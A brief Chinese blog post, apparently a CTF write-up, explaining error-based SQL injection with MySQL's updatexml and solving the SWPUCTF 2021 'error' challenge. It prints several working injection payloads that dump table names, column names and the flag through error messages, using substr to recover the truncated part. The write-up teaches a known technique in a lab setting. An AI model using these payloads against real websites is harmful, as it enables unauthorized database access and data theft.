SQL-报错注入

updatexml报错注入

updatexml (XML_document, XPath_string, new_value):

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,了解Xpath语法

第三个参数:new_value,String格式,替换查找到的符合条件的数据

利用updatexml查询功能,构造报错语法,将查询结果用报错的形式输出

例题:[SWPUCTF 2021 新生赛]error

image

随便输入1进去,发现没有变化;
因为知道是报错注入,就构造paylaod

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+
image

输入进去还果真“报错”,但不是我们要的报错结果,就抓了一下包

image

果然是出现了错误,将包改为我们要的形式,再放回

image
image

查到了库名,用相同的方式,查找表名

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb')),1) --+

image

继续查找flag

1' and updatexml(1,concat(0x7e,(select flag from test_tb)),1) --+
image

发现只有前半截flag

1' and updatexml(1,concat(0x7e,substr((select flag from test_tb),32,64)),1) -- +

image

得到全部的flag
posted @ 2022-05-16 13:07  traveller-2333  阅读(39)  评论(0编辑  收藏  举报